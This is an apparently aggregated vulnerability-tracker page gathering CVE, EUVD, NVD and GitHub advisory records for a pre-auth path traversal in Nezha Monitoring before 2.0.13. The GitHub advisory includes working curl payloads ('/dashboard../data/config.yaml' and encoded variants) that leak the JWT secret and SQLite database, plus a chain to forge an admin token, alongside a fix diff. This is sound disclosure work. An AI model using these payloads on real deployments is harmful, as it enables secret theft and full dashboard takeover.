Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 19:20 UTC Customize Public modeDiscuss ChangeIntel on Discord

Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-53519

Published

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to version 2.0.13, fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required. This issue has been patched in version 2.0.13.

Source published
12 Jun 2026 21:03:48 UTC
Source modified
15 Jun 2026 18:27:12 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

euvd · EUVD-2026-36598

Published

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to version 2.0.13, fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required. This issue has been patched in version 2.0.13.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 12, 2026, 9:03:48 PM

dateUpdated: Jun 15, 2026, 6:27:12 PM

Source published
Jun 12, 2026, 9:03:48 PM (timezone not stated)
Source modified
Jun 15, 2026, 6:27:12 PM (timezone not stated)
Observed here
7 Nov 2026 11:37:32 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

nvd · CVE-2026-53519

Published

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to version 2.0.13, fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required. This issue has been patched in version 2.0.13.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-06-12T22:16:51.953

lastModified: 2026-10-25T23:10:00.167

Source published
12 Jun 2026 22:16:51 UTC
Source modified
25 Oct 2026 23:10:00 UTC
Observed here
27 Oct 2026 14:13:22 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

osv · GHSA-5c25-7vpj-9mqh

Published

### Summary `fallbackToFrontend` in the dashboard's `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join("admin-dist", "../data/config.yaml")` normalizes to `data/config.yaml` — which `os.Stat` finds and `http.ServeFile` returns. No authentication required. In default deployments (the values shipped in `model/config.go` and the layout shipped in the project `Dockerfile`) `data/config.yaml` contains the HS256 `jwt_secret_key` used by `cmd/dashboard/controller/jwt.go` to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request. ### Details ## Root cause ```go // cmd/dashboard/controller/controller.go @ 636f4a9 387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path) 388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { 389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") 390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) 391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) { 392: return 393: } ``` ```go // cmd/dashboard/controller/controller.go @ 636f4a9 322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) { 323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool { 324: if _, err := os.Stat(path); err == nil { 325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path) 326: return true 327: } ``` `fallbackToFrontend` is wired as the catch-all at `cmd/dashboard/controller/controller.go:157` — `r.NoRoute(fallbackToFrontend(frontendDist))` — so every URL not matched by an earlier route reaches it, including pre-auth. ### Path math (verified, see appendix) | Input `URL.Path` | `TrimPrefix(..., "/dashboard")` | `path.Join("admin-dist", ...)` | Reachable file | |---|---|---|---| | `/dashboard/login` | `/login` | `admin-dist/login` | legitimate, intended | | `/dashboard/../data/config.yaml` | `/../data/config.yaml` | `data/config.yaml` | **but blocked by Go `http.ServeFile`'s URL `..`-segment guard → 400** | | `/dashboard../data/config.yaml` | `../data/config.yaml` | `data/config.yaml` | **served, 200** | | `/dashboard%2e%2e/data/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** | | `/dashboard..%2fdata/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** | The negative control (`/dashboard/../data/config.yaml`) lands at the same on-disk path after `path.Join`, but is rejected by `http.ServeFile` because Go's stdlib enforces a URL-level traversal guard that fires when the **request URL** itself contains a standalone `..` segment. The bypass works because in `/dashboard../...` the first URL segment is the single token `dashboard..` — no standalone `..` — so the stdlib guard does not trigger. The traversal segment is **created after `TrimPrefix`**, downstream of every defense. ### Why the existing defenses miss 1. The prefix check is a substring test on the raw URL string, not a segment test. `dashboard` and `dashboard..` are both accepted. 2. `path.Join` silently `Clean`s the result — so the `..` is consumed correctly to escape `admin-dist`, with no error returned to indicate escape. 3. Go's `http.ServeFile` stdlib guard fires only on URLs with a standalone `..` segment (per `net/http.containsDotDot`). The payload puts the dots inside the first segment instead. 4. No anchored "is this still under the template root?" check exists after `path.Join`. ## PoC ### Setup ```text TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef HARNESS: stdlib-only port — see Appendix A WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db TIME-TO-REPRO: first request ``` The harness plants this `data/config.yaml`: ```yaml debug: false listen_port: 8008 language: en_US jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE agent_secret_key: REPRO_AGENT_SECRET_VALUE site: brand: nezha-repro ``` ### Observed responses **Primary payload — pre-auth secret disclosure:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml' ``` ```text HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 167 Content-Type: application/yaml Last-Modified: Sun, 24 May 2026 12:16:23 GMT Date: Sun, 24 May 2026 12:16:25 GMT debug: false listen_port: 8008 language: en_US jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE agent_secret_key: REPRO_AGENT_SECRET_VALUE site: brand: nezha-repro ``` **Negative control — Go stdlib guard rejects the canonical form:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml' ``` ```text HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 invalid URL path ``` **Encoded-dot variant — bypass also works:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwt_secret_key ...] ``` **Encoded-slash variant — bypass also works:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwt_secret_key ...] ``` **Double-encoded — confirms the bypass requires single-level encoding:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 30 Content-Type: text/html; charset=utf-8 <html>admin frontend OK</html> ``` The literal `%252e%252e` does not decode to `..`, so the path becomes `admin-dist/%2e%2e/data/config.yaml` (no escape), `os.Stat` fails, and the handler falls through to serving `admin-dist/index.html` — no secret disclosure. **Encoded leading slash — also blocked at the stdlib layer:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml' ``` ```text HTTP/1.1 400 Bad Request invalid URL path ``` **SQLite database exfil — same primitive:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db' ``` ```text HTTP/1.1 200 OK Content-Length: 42 SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY ``` ### Sanity checks - Normal `/dashboard/` request still serves `admin-dist/index.html` with HTTP 200 — the bypass does not regress legitimate behavior. - Requests to `/api/...` still hit the JSON-404 branch — the bypass is isolated to the `/dashboard` fallback. ## Impact ### Direct primitive Unauth read of any file in the dashboard's working directory subtree reachable by escaping `admin-dist` one level. In default deployments that includes: | File | Default path | Why it matters | |---|---|---| | `data/config.yaml` | from `-c` flag default (`cmd/dashboard/main.go:104`) | Contains `jwt_secret_key` (signing key, **HS256**), `agent_secret_key`, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets | | `data/sqlite.db` | from `-db` flag default (`cmd/dashboard/main.go:105`) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs | ### Chain to administrative account takeover (verified path) 1. **Read config** — `GET /dashboard../data/config.yaml` returns plaintext YAML containing `jwt_secret_key`. 2. **Read database** — `GET /dashboard../data/sqlite.db` returns the SQLite file; an attacker opens it and reads the `users` table to recover admin user IDs (and any other claims the JWT references). 3. **Forge a JWT** — the dashboard's JWT middleware at `cmd/dashboard/controller/jwt.go:22,27` is wired with: ```go Key: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser, ``` HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose `user_id` claim matches the admin user from step 2 and attaches it as the `nz-jwt` cookie (or `Authorization: Bearer ...`). 4. **Operate as admin** — every admin handler (`adminHandler` chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing. ## Suggested fix Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root **before** any filesystem call. Minimal diff: ```diff - if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { - stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") + if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") { + stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/") + cleanPath := path.Clean("/" + stripPath) + if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") { + c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found"))) + return + } localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) ``` The `/dashboard` -> `/dashboard/` redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in `frontendPageUrlRegistry`. The same hardening should be applied to the user-template branch (lines 399–405), which uses the same `path.Join` pattern with `singleton.Conf.UserTemplate`. While the `/dashboard` prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled `URL.Path` to that branch would re-introduce the same primitive. A defense-in-depth alternative is to replace the local `os.Stat + http.ServeFile` branch with a `http.FileServer(http.FS(subFS))` rooted at the embedded `admin-dist` subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.

Source published
26 Jun 2026 23:03:13 UTC
Source modified
7 Jul 2026 16:11:29 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Publisher rating · CRITICAL

osv · GO-2026-5828

Published

Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key in github.com/nezhahq/nezha. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/nezhahq/nezha before v2.0.13.

Source published
7 Jul 2026 15:26:32 UTC
Source modified
7 Jul 2026 16:01:34 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 7 Nov 19:20 UTC · 275 of 275 readable · 274 fully read · documentation 469/469 current